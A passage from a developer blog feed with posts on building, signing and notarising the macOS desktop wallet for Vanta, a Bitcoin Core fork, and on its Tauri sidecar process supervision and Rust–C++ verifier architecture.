  <content type="html"><![CDATA[<p>The 2026-04-13 commit <code>eff33f7a chain+build: mined genesis nonce + libconsensus links FFI</code> and the 2026-04-23 commit <code>0edddc82 build: darwin frameworks, wallet-ui node types, v2 test renames</code> are the bookends of the macOS build story. In between is a week of &quot;why does my dylib not load&quot; and &quot;why does Gatekeeper not trust this DMG even though everything inside it is signed.&quot;</p>
<p>This post is the field notes from cross-compiling <code>vantad</code> for darwin-aarch64, signing everything that needs signing, notarising what needs notarising, and stapling the DMG so users don&#39;t see &quot;this came from the internet&quot; prompts. Everything I describe is in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/build-release.sh"><code>vanta-desktop/build-release.sh</code></a> and the <a href="https://github.com/Dax911/vanta/blob/main/doc/build-osx.md"><code>doc/build-osx.md</code></a> it leans on. The goal is so an engineer running their first ARM Mac doesn&#39;t have to repeat the mistakes.</p>
<h2>What you actually have to ship</h2>
<p>A Vanta desktop install on macOS contains three sidecar binaries inside one signed <code>.app</code>:</p>
<ul>
<li><code>vantad-aarch64-apple-darwin</code> — the C++ Bitcoin Core fork</li>
<li><code>vanta-cli-aarch64-apple-darwin</code> — the matching CLI</li>
<li><code>vanta-node-aarch64-apple-darwin</code> — the Rust L2 sidecar</li>
</ul>
<p>Plus the Tauri host binary (<code>Vanta Wallet</code>) and the WebView assets. All of this rides inside a <code>.dmg</code> that has to itself be notarised separately.</p>
<p>There&#39;s a sentence I&#39;m going to repeat because it tripped me twice: <strong>on macOS Tauri 2.x notarises the <code>.app</code>, not the <code>.dmg</code> that wraps it.</strong> Gatekeeper checks the file the user <em>downloaded</em>, which is the DMG. So you have to submit the DMG to <code>notarytool</code> separately and staple the resulting ticket. This is documented in approximately zero places. I figured it out by attempting to install my own DMG on a clean VM and watching Gatekeeper refuse it with a generic error.</p>
<h2>The build sequence</h2>
<p>The release script does seven steps. I&#39;ll narrate them.</p>
<p><strong>Step 1: build <code>vantad</code>.</strong> This is the C++ Bitcoin Core fork&#39;s autotools build:</p>
<pre><code class="language-bash">./autogen.sh
./configure --without-gui --disable-tests --disable-bench \
            --without-bdb --without-miniupnpc --without-natpmp
make -j$(sysctl -n hw.ncpu)
</code></pre>
<p>The <code>--without-bdb --without-miniupnpc --without-natpmp</code> flags are the canonical &quot;don&#39;t pull in dependencies the wallet doesn&#39;t need&quot; set. BerkeleyDB only matters for legacy wallets, miniupnpc is for UPnP NAT traversal, natpmp is the same on Apple&#39;s stack. Skipping them shaves 30+ MB and a bunch of failure modes off the binary.</p>
<p><code>--without-gui</code> is because we&#39;re not shipping <code>vanta-qt</code>. The Qt UI is <em>also</em> possible to ship — the upstream Bitcoin Core team supports it — but on Vanta the desktop wallet <em>is</em> the Tauri app, and the C++ binary is just a sidecar. No need for two UIs.</p>
<p><strong>Step 2: build <code>vanta-node</code>.</strong></p>
<pre><code class="language-bash">cd vanta &amp;&amp; cargo build --release -p vanta-node
</code></pre>
<p>Cargo handles the cross-compile to whatever the host target is. On an Apple Silicon Mac that produces the <code>aarch64-apple-darwin</code> binary you want. On Intel macs you&#39;d get <code>x86_64-apple-darwin</code>; the Tauri sidecar resolution in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/node.rs"><code>node.rs</code></a> handles both.</p>
<p>The <code>target_triple()</code> helper in <code>node.rs</code> makes the runtime resolution honest:</p>
<pre><code class="language-rust">pub fn target_triple() -&gt; &amp;&#39;static str {
    if cfg!(target_os = &quot;macos&quot;) {
        if cfg!(target_arch = &quot;aarch64&quot;) {
            &quot;aarch64-apple-darwin&quot;
        } else {
            &quot;x86_64-apple-darwin&quot;
        }
    } else if cfg!(target_os = &quot;linux&quot;) {
        &quot;x86_64-unknown-linux-gnu&quot;
    } else {
        &quot;x86_64-pc-windows-msvc&quot;
    }
}
</code></pre>
<p>The host binary discovers its sidecars by appending the target triple suffix. This is also how Tauri itself decides which file to bundle — <code>tauri.conf.json</code> declares <code>&quot;binaries/vantad&quot;</code> and the bundler looks for <code>vantad-aarch64-apple-darwin</code> next to the conf.</p>
<p><strong>Step 3: copy the sidecars.</strong></p>
<pre><code class="language-bash">cp &quot;$REPO_ROOT/src/bitcoind&quot;             &quot;$BINDIR/vantad-$TRIPLE&quot;
cp &quot;$REPO_ROOT/src/bitcoin-cli&quot;          &quot;$BINDIR/vanta-cli-$TRIPLE&quot;
cp &quot;$REPO_ROOT/vanta/target/release/vanta-node&quot; &quot;$BINDIR/vanta-node-$TRIPLE&quot;
</code></pre>
<p>The C++ binary is still called <code>bitcoind</code> after the upstream fork (we haven&#39;t renamed the actual file in <code>src/</code> because that breaks too much of the upstream build); we rename it during the copy.</p>
<p><strong>Step 4: install frontend deps.</strong> <code>pnpm install</code>. Vite/Tauri build needs the React app&#39;s deps for the bundler.</p>
<p><strong>Step 5: build the Tauri app.</strong> <code>pnpm tauri build</code>. Tauri auto-signs the <code>.app</code> (and every binary inside it) with the Developer ID identity declared in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/tauri.conf.json"><code>tauri.conf.json</code></a>:</p>
<pre><code class="language-json">&quot;macOS&quot;: {
    &quot;signingIdentity&quot;: &quot;474F624D8F3783B4D607CFF2331AD4C6CC26A1B5&quot;,
    &quot;providerShortName&quot;: &quot;9HD4Q82U58&quot;,
    &quot;entitlements&quot;: &quot;entitlements.plist&quot;,
    &quot;minimumSystemVersion&quot;: &quot;10.15&quot;
}
</code></pre>
<p>Tauri also auto-notarises the <code>.app</code> if <code>APPLE_ID</code>, <code>APPLE_PASSWORD</code>, and <code>APPLE_TEAM_ID</code> are set in the environment. The release script reads them from <code>.env.local</code>. If they&#39;re missing the script prints a warning and proceeds without notarisation — useful for local dev builds.</p>
<p><strong>Step 6: notarise the DMG separately.</strong></p>
<pre><code class="language-bash">xcrun notarytool submit &quot;$DMG_PATH&quot; \
  --apple-id &quot;$APPLE_ID&quot; \
  --password &quot;$APPLE_PASSWORD&quot; \
  --team-id &quot;$APPLE_TEAM_ID&quot; \
  --wait

xcrun stapler staple &quot;$DMG_PATH&quot;
</code></pre>
<p>This is the step I had to discover. <code>notarytool submit</code> uploads the DMG, Apple&#39;s notary service runs its scan, and <code>stapler staple</code> attaches the resulting ticket to the file so Gatekeeper can verify offline.</p>
<p><strong>Step 7: verify everything.</strong></p>
<pre><code class="language-bash">codesign --verify --deep --strict --verbose=2 &quot;$APP_PATH&quot;
spctl -a -t open --context context:primary-signature -v &quot;$DMG_PATH&quot;
xcrun stapler validate &quot;$APP_PATH&quot;
xcrun stapler validate &quot;$DMG_PATH&quot;
</code></pre>
<p>If any of these fail I want to know <em>before</em> the DMG ships, not after a user tries to install it. The verification is fast — under a second on a recent Mac — so it&#39;s free to run as a final step.</p>
<h2>The libconsensus link order issue</h2>
<p>The 2026-04-13 commit <code>eff33f7a chain+build: mined genesis nonce + libconsensus links FFI</code> was the fix for a problem that took an embarrassing amount of time. The C++ build&#39;s link order didn&#39;t include the FFI verifier static library (<code>libvanta_verifier.a</code>) before the Bitcoin libconsensus shared library, with the result that consensus-time calls to <code>vanta_verify_and_decode</code> came back as undefined symbols at runtime.</p>
<p>The fix was a <code>Makefile.am</code> patch making the linker order explicit:</p>
<pre><code>src_bitcoind_LDADD = libvanta_verifier.a $(LIBBITCOIN_CONSENSUS) ...
</code></pre>
<p>The lesson: when you&#39;re FFI-binding a Rust static lib into a C++ autotools project, <code>LDADD</code> order is load-bearing. The static lib has to come <em>before</em> the shared lib that depends on it, or the linker won&#39;t resolve symbols. This is one of those things autotools makes more painful than it should be; in cmake you&#39;d never trip on it.</p>
<h2>The <code>share/pixmaps</code> straggler</h2>
<p>A bunch of the macOS-build pain wasn&#39;t actual build pain; it was rebrand pain. The Bitcoin Core stock build copies icons from <code>share/pixmaps/bitcoin*.{png,xpm,ico}</code> into the bundle. Those files still showed Bitcoin&#39;s logo even after the chain rebrand, because the icon files weren&#39;t <code>git mv</code>&#39;d during the zera→vanta rebrand.</p>
<p>From <a href="https://github.com/Dax911/vanta/blob/main/CLAUDE.md"><code>CLAUDE.md</code></a>:</p>
<blockquote>
<p>Bitcoin Core stock icons in <code>share/pixmaps/bitcoin*.{png,xpm,ico}</code> still show Bitcoin logo; <code>src/qt/res/</code> Qt resources also unrebranded. Qt wallet rebrand is secondary.</p>
</blockquote>
<p>We don&#39;t ship <code>vanta-qt</code> so this is a cosmetic-only issue, but it&#39;s the kind of thing an external auditor will flag and rightly so. <strong>TODO: Dax confirm we ship the icon rename in the next pass.</strong></p>
<h2>Why ship a Mac binary at all</h2>
<p>A reasonable challenge: if Vanta is meant to be operator-driven and most operators run Linux servers, why spend this much effort on Mac packaging?</p>
<p>The answer is that <em>desktop</em> runs on Mac. Servers run Linux; that&#39;s the <code>vantad</code> people deploy with systemd. But the wallet — the thing a person actually opens to send a transaction — needs to feel native on the platform the user has. In 2026 that&#39;s Mac for half my user base, Linux for the other half (with a long tail of Windows, which we ship via the <code>bd7d6299</code> MSI build).</p>
<p>A privacy-chain wallet that only works on Linux is a wallet that&#39;s only used by people who already agree with you. The Mac story is the bridge to <em>normal users</em>.</p>
<h2>What I would do differently</h2>
<ol>
<li><strong>Codesign-by-default in the Rust build.</strong> I have my Apple Developer creds in <code>.env.local</code> and the release script reads them. If I&#39;m doing a quick dev build I sometimes forget to enable signing, and then the resulting binary won&#39;t load on a fresh macOS sandbox. Default-on signing for any release build, opt-out for dev builds, would be safer.</li>
<li><strong>Universal binary instead of two builds.</strong> Right now I build aarch64 and x86_64 separately and ship two DMGs. <code>lipo</code> can produce a universal binary that runs on both. Tauri 2.x supports it. On the list.</li>
<li><strong>Reproducible builds.</strong> Bitcoin Core has a <a href="https://github.com/Dax911/vanta/blob/main/doc/guix.md">Guix-based reproducible build setup</a> that produces byte-identical binaries on any host with the right toolchain. I haven&#39;t ported that to the Vanta build because it&#39;d require pulling vanta-node into the Guix manifest. Important for downstream trust; not blocking for a first release.</li>
</ol>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/build-release.sh"><code>vanta-desktop/build-release.sh</code></a> — the script this post narrates</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/tauri.conf.json"><code>vanta-desktop/src-tauri/tauri.conf.json</code></a> — the bundle config</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/doc/build-osx.md"><code>doc/build-osx.md</code></a> — the upstream Bitcoin Core macOS build doc</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/doc/guix.md"><code>doc/guix.md</code></a> — reproducible-build path I haven&#39;t taken yet</li>
<li><a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop: a Tauri wallet that ships its own full node</a> — the app this build produces</li>
<li><a href="https://developer.apple.com/documentation/security/notarizing-macos-software-before-distribution">Apple&#39;s notarytool docs</a> — the notarisation contract</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Vanta Desktop: a Tauri wallet that ships its own full node]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_desktop_tauri_wallet/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_desktop_tauri_wallet/"/>
  <published>2026-04-13T21:39:27.000Z</published>
  <updated>2026-04-23T19:31:34.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="tauri"/>
  <category term="rust"/>
  <category term="desktop"/>
  <category term="wallet"/>
  <category term="sidecar"/>
  <summary type="html"><![CDATA[Most desktop wallets are thin RPC clients that talk to somebody else's node. The Vanta desktop app spawns vantad and the L2 sidecar as Tauri sidecar binaries, owns their PIDs, and adopts orphans on restart. Here is how that came together.]]></summary>
  <content type="html"><![CDATA[<p>The user-facing pitch for Vanta is short: open the wallet, click send, watch a private transaction settle on a chain you can verify yourself. The version of that pitch that&#39;s actually true requires three processes: a C++ Bitcoin Core fork (<code>vantad</code>), a Rust L2 sidecar (<code>vanta-node</code>), and a UI. Most &quot;desktop wallets&quot; in 2026 ship the UI and trust someone else for the other two. We didn&#39;t want to ship a wallet like that, and the answer turned out to be Tauri.</p>
<p>This post is a tour of <a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-desktop"><code>vanta/vanta-desktop</code></a> — the Tauri 2.x app that bundles <code>vantad</code> and <code>vanta-node</code> as sidecars, runs them under PID supervision in a Rust host, and exposes the resulting capability to a React frontend through <code>#[tauri::command]</code> IPC.</p>
<p>Sister reads: <a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> is the chain itself, and <a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> is the deeper dive on the L2 daemon.</p>
<h2>Why Tauri at all</h2>
<p>I spent an unreasonable number of hours on this question. The candidates were Electron, Tauri, native (Swift / Cocoa for Mac, GTK or Qt elsewhere), and a Wails-style Go-with-WebView setup. The constraints:</p>
<ol>
<li>The wallet has to ship a <strong>full node binary</strong>. Not link to it — <em>ship</em> it as an external file inside the app bundle. That binary is ~25 MB on macOS aarch64.</li>
<li>The node has to <strong>run as a child process</strong> of the app, with the app owning its PID and capable of cleanup on quit.</li>
<li>The UI is React because the <a href="https://github.com/Dax911/vanta/tree/main/wallet-ui">web wallet UI</a> already existed and I wasn&#39;t rewriting it.</li>
<li>The signing path uses Apple&#39;s Developer ID program. The bundle has to be signed and notarised, including the sidecars.</li>
</ol>
<p>Electron was out because the bundle bloat (Chromium ~300 MB) plus the historical Electron-IPC-as-XSS attack surface was a non-starter for a wallet. Native Mac was out because we ship Linux too. Wails was tempting but the sidecar story for non-Go binaries is awkward.</p>
<p>Tauri 2.x ticked every box: small bundle (the WebView is OS-provided), sidecars are first-class via the <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/tauri.conf.json"><code>externalBin</code> field</a>, the IPC contract is generated from <code>#[tauri::command]</code> Rust functions, and the host process is a normal Rust program where I can do <code>std::process::Command::new(...)</code> exactly the way I&#39;d do in any CLI.</p>
<p>The <code>tauri.conf.json</code> declares the sidecars verbatim:</p>
<pre><code class="language-json">&quot;externalBin&quot;: [
  &quot;binaries/vantad&quot;,
  &quot;binaries/vanta-node&quot;,
  &quot;binaries/vanta-cli&quot;
]
</code></pre>
<p>Tauri&#39;s bundler will copy <code>binaries/vantad-aarch64-apple-darwin</code> (note the target-triple suffix it requires) into the <code>.app</code>&#39;s <code>Contents/MacOS/</code> directory and code-sign it with the same identity as the host binary. From the Rust side I get a path I can spawn against. Done.</p>
<h2>The sidecar inventory</h2>
<p>There are three sidecar binaries and they have different jobs.</p>
<p><code>vantad</code> is the C++ Bitcoin Core fork. It&#39;s the consensus node — it runs the SHA-256 PoW mainnet, validates blocks, holds the L1 UTXO set, exposes JSON-RPC on a port. From the desktop app&#39;s point of view it is the ground truth for &quot;what does the chain say.&quot;</p>
<p><code>vanta-node</code> is the Rust L2 sidecar. It indexes commitments and nullifiers from L1 OP_RETURN anchors, maintains the SMT, and exposes a REST API. The shielded balance, the SMT root, the nullifier set — that&#39;s all here. The desktop app talks to it on a separate port.</p>
<p><code>vanta-cli</code> is the C++ command-line client. It&#39;s there for power users and debugging. The wallet doesn&#39;t shell out to it for anything load-bearing, but it&#39;s bundled because if you have <code>vantad</code> you almost always want <code>vanta-cli</code> too.</p>
<p>The sidecar build script is short and readable — <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/setup-sidecars.sh"><code>setup-sidecars.sh</code></a> just searches well-known paths, copies the binaries into <code>src-tauri/binaries/</code>, and renames them with the target-triple suffix Tauri&#39;s bundler expects. The release pipeline (<a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/build-release.sh"><code>build-release.sh</code></a>) builds <code>vantad</code> and <code>vanta-node</code> from source first, then runs <code>pnpm tauri build</code>, then notarises the resulting <code>.dmg</code> separately because Tauri 2.x notarises the <code>.app</code> but not the DMG wrapper.</p>
<h2>The PID supervisor</h2>
<p>Once you&#39;ve decided to ship a binary, you&#39;ve inherited a job: babysit its process. The supervisor lives in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/node.rs"><code>src-tauri/src/node.rs</code></a> and the centerpiece is the <code>NodeManager</code> struct.</p>
<pre><code class="language-rust">pub struct NodeManager {
    l1_process: Option&lt;Child&gt;,
    l2_process: Option&lt;Child&gt;,
    l1_adopted: bool,
    l2_adopted: bool,
    l1_bin: Option&lt;PathBuf&gt;,
    l2_bin: Option&lt;PathBuf&gt;,
    pub l1_logs: LogBuffer,
    pub l2_logs: LogBuffer,
    app_handle: Option&lt;tauri::AppHandle&gt;,
}
</code></pre>
<p>A few things in here that took longer than they should have to get right.</p>
<p><strong>Adoption.</strong> The desktop app uses dedicated ports — <code>19332</code> for L1 RPC, <code>19333</code> for P2P, <code>19380</code> for the L2 API — so it never collides with a standalone <code>vantad</code> running elsewhere on the same machine. But it <em>does</em> collide with itself if a previous run died ungracefully. So <code>start_l1</code> first probes the port: if something is listening <em>and</em> it answers <code>getblockchaininfo</code> correctly, we adopt it (return PID 0 as a sentinel). If something is listening but not responsive, we kill the orphan with <code>lsof -ti :PORT | xargs kill</code> and respawn. If the port is free, we spawn fresh.</p>
<p>This logic is not optional. The first version of this code didn&#39;t have it and every quit-and-relaunch produced a &quot;port in use, vantad failed to start&quot; error that confused absolutely everybody.</p>
<p><strong>Pipe draining.</strong> A C++ process logging to stdout will eventually fill the OS&#39;s 64 KB pipe buffer if nobody reads it, then block on the next <code>write()</code>. <code>vantad</code> with <code>-printtoconsole</code> is a heavy logger. The host has to drain the pipes constantly. The function that does it is small enough to quote whole:</p>
<pre><code class="language-rust">fn drain_pipe&lt;R: std::io::Read + Send + &#39;static&gt;(
    pipe: R,
    label: &amp;&#39;static str,
    log_buf: LogBuffer,
    event_emitter: Option&lt;tauri::AppHandle&gt;,
) {
    std::thread::spawn(move || {
        let reader = std::io::BufReader::new(pipe);
        for line in reader.lines() {
            match line {
                Ok(text) =&gt; {
                    tracing::debug!(&quot;[{label}] {text}&quot;);
                    log_buf.push(text.clone());
                    if let Some(ref app) = event_emitter {
                        let _ = app.emit(&quot;node-log&quot;, serde_json::json!({
                            &quot;source&quot;: label,
                            &quot;line&quot;: text,
                        }));
                    }
                }
                Err(e) =&gt; {
                    tracing::debug!(&quot;[{label}] pipe read error: {e}&quot;);
                    break;
                }
            }
        }
    });
}
</code></pre>
<p>Each line goes three places: the Rust tracing log, a 200-line ring buffer that the frontend can pull on demand (<code>status</code> returns the last 20), and a Tauri event so the frontend can render a live console. This last one is the thing that turned a black-box &quot;is the node alive&quot; indicator into a full-screen log view that&#39;s actually useful to debug failures.</p>
<p><strong>Auto-config.</strong> Before <code>vantad</code> starts, the host writes a fresh <code>vanta.conf</code> into the desktop-isolated data dir at <code>{home}/.vanta-desktop/l1/vanta.conf</code>. The config is hardcoded for the desktop&#39;s port plan, points at the seed nodes, sets <code>txindex=1</code> so the L2 watcher can find historic OP_RETURN anchors, and disables Bitcoin-style DNS seeding (we&#39;re not on Bitcoin&#39;s network). The user never sees this file unless they go looking.</p>
<h2>Sequenced startup</h2>
<p>The first wallet release would just spawn both nodes and hope. The result was a race condition: <code>vanta-node</code> would come up before <code>vantad</code>&#39;s RPC was reachable, fail its first poll, and die. We added <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/lib.rs"><code>sequenced_startup</code></a> so the L2 only starts after the L1&#39;s RPC has actually answered.</p>
<pre><code>Stage 1: Start L1 (may adopt)
Stage 2: Wait for L1 RPC up to 60s, exponential backoff
Stage 3: Create / load default wallet via RPC
Stage 4: Start L2 (now that L1 is confirmed reachable)
Stage 5: emit &quot;ready&quot; event to frontend
</code></pre>
<p>Each stage emits a Tauri event the frontend subscribes to. The first-launch UX is a five-stage progress meter that goes &quot;spawning vantad… RPC ready… wallet loaded… spawning vanta-node… ready.&quot; On a warm cache that whole flow takes about 4 seconds. On a cold first launch it&#39;s closer to 12. Better than 12 silent seconds with a spinner.</p>
<p>If anything fails, the failure stage gets the last 15 lines of stdout/stderr appended into the error message. The user sees not &quot;vantad failed&quot; but &quot;vantad exited during startup. Last output: …&quot;. That diagnostic surface alone has paid for itself ten times over in support tickets I didn&#39;t have to chase.</p>
<h2>The IPC contract</h2>
<p>The frontend never speaks JSON-RPC to <code>vantad</code> directly. Every UI action goes through a <code>#[tauri::command]</code> defined in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/commands.rs"><code>commands.rs</code></a>. The <code>lib.rs</code> registration is a single <code>invoke_handler</code> macro:</p>
<pre><code class="language-rust">.invoke_handler(tauri::generate_handler![
    commands::wallet_init,
    commands::wallet_info,
    commands::wallet_balance,
    commands::wallet_notes,
    commands::wallet_send,
    commands::wallet_sync,
    commands::wallet_pubkey,
    commands::rpc_call,
    commands::start_nodes,
    commands::node_start_l1,
    commands::node_start_l2,
    commands::node_stop_l1,
    commands::node_stop_l2,
    commands::node_status,
    commands::l2_status,
    commands::swap_initiate,
    commands::swap_participate,
    commands::swap_list,
    commands::swap_inspect,
    commands::get_settings,
    commands::set_settings,
])
</code></pre>
<p>Every command is a typed Rust function that Tauri generates a TypeScript stub for. The frontend imports <code>invoke(&#39;wallet_balance&#39;)</code> and gets back a typed JSON response. There&#39;s no HTTP server inside the app, no <code>localhost:8085</code>, no possibility of a malicious website hitting the wallet&#39;s API.</p>
<p>This is a privacy property as well as a security one. A web wallet that runs on <code>localhost:8085</code> is reachable by any browser tab. A Tauri wallet that uses the IPC bridge isn&#39;t. The wallet&#39;s <code>csp</code> is <code>null</code> in <code>tauri.conf.json</code> only because the frontend doesn&#39;t load anything cross-origin — every &quot;fetch&quot; is actually an <code>invoke</code>.</p>
<h2>Linux/NVIDIA, the cursed stanza</h2>
<p>Two lines in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/src/lib.rs"><code>lib.rs</code></a> earned a comment longer than they are:</p>
<pre><code class="language-rust">#[cfg(target_os = &quot;linux&quot;)]
{
    if std::env::var(&quot;WEBKIT_DISABLE_DMABUF_RENDERER&quot;).is_err() {
        std::env::set_var(&quot;WEBKIT_DISABLE_DMABUF_RENDERER&quot;, &quot;1&quot;);
    }
}
</code></pre>
<p>webkit2gtk on NVIDIA&#39;s proprietary driver under Wayland tries to use a DMA-BUF renderer path that crashes with &quot;Error 71 (Protocol error) dispatching to Wayland display.&quot; Disabling it forces software compositing, which is fine. This one bug ate a weekend before the workaround landed.</p>
<p>The wider lesson: when you ship a desktop app you become a desktop developer, and &quot;desktop developer&quot; means &quot;the OS will surprise you in ways the web never has.&quot; Budget for it.</p>
<h2>macOS sign + notarise</h2>
<p>Apple&#39;s developer pipeline for distributing an app outside the Mac App Store is its own genre of misery, but it&#39;s a solved misery. The <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/build-release.sh"><code>build-release.sh</code></a> script automates the whole thing:</p>
<ol>
<li>Build <code>vantad</code> (C++) and <code>vanta-node</code> (Rust release) from source.</li>
<li>Copy them into <code>src-tauri/binaries/</code> with target-triple suffixes.</li>
<li>Load <code>APPLE_ID</code> / <code>APPLE_PASSWORD</code> / <code>APPLE_TEAM_ID</code> from <code>.env.local</code>.</li>
<li>Run <code>pnpm tauri build</code>. Tauri auto-signs the <code>.app</code> with the Developer ID identity declared in <code>tauri.conf.json</code> (<code>Developer ID Application: Hayden Porter-Aylor (9HD4Q82U58)</code>).</li>
<li>Submit the <code>.dmg</code> separately to <code>xcrun notarytool</code>.</li>
<li>Staple the resulting ticket with <code>xcrun stapler staple</code>.</li>
<li>Verify everything with <code>codesign --verify --deep --strict --verbose=2</code> and <code>spctl -a -t open -v</code>.</li>
</ol>
<p>The reason step 5 exists at all is that Tauri 2.x notarises the <code>.app</code> but not the <code>.dmg</code> that wraps it. Gatekeeper checks the outer file when a user downloads the DMG, so we have to submit the wrapper separately. This is documented in approximately zero places. I figured it out by attempting to install my own DMG on a clean VM and watching Gatekeeper refuse it. Two hours of head-scratching later, the staple step landed.</p>
<p>The end state: a user downloads <code>Vanta Wallet.dmg</code>, double-clicks it, drags the app to Applications, and Gatekeeper signs off without a &quot;this came from the internet&quot; prompt. That&#39;s the outcome that matters — and it would not be possible without the Tauri sidecar pattern signing the inner binaries with the same identity.</p>
<h2>What I changed my mind about</h2>
<p>I started the desktop project genuinely planning to ship the existing <code>wallet-ui</code> as a webpage and tell people to run a <code>vantad</code> themselves. The friction of that — every user a node operator on day one — was always going to be a non-starter for everybody but engineers like me. The desktop app is the answer to &quot;I want my mom to be able to use this,&quot; and Tauri&#39;s sidecar feature is what made the answer cheap enough to ship.</p>
<p>If you&#39;re building a wallet for a privacy chain in 2026 and you skip the embedded full-node story, you are shipping an indexed light client and calling it a wallet. That&#39;s fine for some products. It is not fine for this one. The whole pitch of Vanta is <em>you don&#39;t have to trust an indexer.</em> If the wallet trusts an indexer the pitch evaporates.</p>
<h2>TODO: Dax confirm</h2>
<ul>
<li>The signing identity hash <code>474F624D8F3783B4D607CFF2331AD4C6CC26A1B5</code> and team ID <code>9HD4Q82U58</code> are real Apple Developer values. They&#39;re committed to the repo because the cert itself is private and the public values aren&#39;t sensitive — but worth a sanity check before publishing a wider distribution.</li>
<li>Windows MSI build was added in <a href="https://github.com/Dax911/vanta/commit/bd7d6299">commit <code>bd7d6299</code></a> on 2026-04-14. I&#39;m describing the macOS-canonical pipeline because it&#39;s the one I run end-to-end; the Windows path may have evolved since I last touched it.</li>
</ul>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-desktop/src-tauri"><code>vanta-desktop/src-tauri</code></a> — the Tauri host, including the node supervisor</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/build-release.sh"><code>vanta-desktop/build-release.sh</code></a> — sign + notarise + verify pipeline</li>
<li><a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> — what <code>vanta-node</code> is doing on the other side of these IPC calls</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — what&#39;s running inside <code>vantad</code></li>
<li><a href="https://tauri.app/v2/develop/sidecar/">Tauri 2.x docs on sidecars</a> — the framework feature this is all built on</li>
<li><a href="https://developer.apple.com/documentation/security/notarizing-macos-software-before-distribution">Apple&#39;s notarytool docs</a> — the macOS distribution pipeline</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The vanta sidecar: how a Rust ZK indexer talks to a C++ Bitcoin node]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_sidecar_architecture/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_sidecar_architecture/"/>
  <published>2026-04-13T17:46:02.000Z</published>
  <updated>2026-04-23T19:31:34.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="rust"/>
  <category term="sidecar"/>
  <category term="sp1"/>
  <category term="zk"/>
  <category term="bitcoin"/>
  <category term="ffi"/>
  <summary type="html"><![CDATA[vantad is C++. The ZK index is Rust. They cooperate over RPC and a REST API, with the C++ verifier linked statically through libvanta_verifier.a. Here is the audit-surface trade we made and what the sidecar actually does.]]></summary>
  <content type="html"><![CDATA[<p>A 1-minute-block Bitcoin Core fork with ZK proofs at consensus has a problem the README doesn&#39;t volunteer: you need the validator to <em>check the proofs</em>, but you don&#39;t want to write the proof system in C++. Vanta&#39;s answer is a hybrid. The C++ consensus engine calls a Rust verifier statically linked as <code>libvanta_verifier.a</code>. The L2 indexing, the SMT, the encrypted-note delivery, and the proof-generation hot path all live in a <em>separate</em> Rust process — <code>vanta-node</code> — that talks to <code>vantad</code> over JSON-RPC and to wallets over REST.</p>
<p>Two things share the name &quot;sidecar&quot; in this codebase and I want to disambiguate them up front:</p>
<ol>
<li>The <strong>FFI verifier</strong> (<code>vanta-verifier-ffi</code> → <code>libvanta_verifier.a</code>) is <em>linked into vantad</em>. It runs in-process. It&#39;s what answers &quot;does this SP1 proof verify&quot; inside <code>src/script/interpreter.cpp</code>.</li>
<li>The <strong>L2 sidecar</strong> (<code>vanta-node</code>) is a <em>separate daemon</em>. It indexes commitments, holds the SMT, distributes encrypted notes, and serves a REST API to wallets. It does not participate in consensus.</li>
</ol>
<p>This post is about both, because the architecture only makes sense when you see why one is in-process and the other isn&#39;t.</p>
<h2>The audit-surface trade</h2>
<p>Bitcoin Core has 280k+ lines of C++ that have been read by more eyes than any other consensus codebase on Earth. Adding a Rust dependency to that build is a non-trivial ask of a future Bitcoin-Core-style review. We made the call up-front: a <em>minimal</em> Rust footprint inside <code>vantad</code>, exposed through a hand-written C ABI, with everything else in a separate process.</p>
<p>The minimal footprint is <code>libvanta_verifier.a</code>. From the <a href="https://github.com/Dax911/vanta/blob/main/papers/17-zkvm-engineering.md">zkVM engineering paper</a>, the contract:</p>
<blockquote>
<p>The bridge between the ZK proof world and the consensus world is a 440-byte C-compatible structure called <code>VantaJournal</code>, declared in <code>src/vanta/verifier.h</code>:</p>
<pre><code class="language-c">typedef struct {
    uint8_t  smt_root[32];
    uint32_t input_commitment_count;
    uint8_t  input_commitments[VANTA_MAX_SLOTS][32];
    uint32_t nullifier_count;
    uint8_t  nullifiers[VANTA_MAX_SLOTS][32];
    uint32_t commitment_count;
    uint8_t  commitments[VANTA_MAX_SLOTS][32];
    int64_t  value_balance;
} VantaJournal;
</code></pre>
</blockquote>
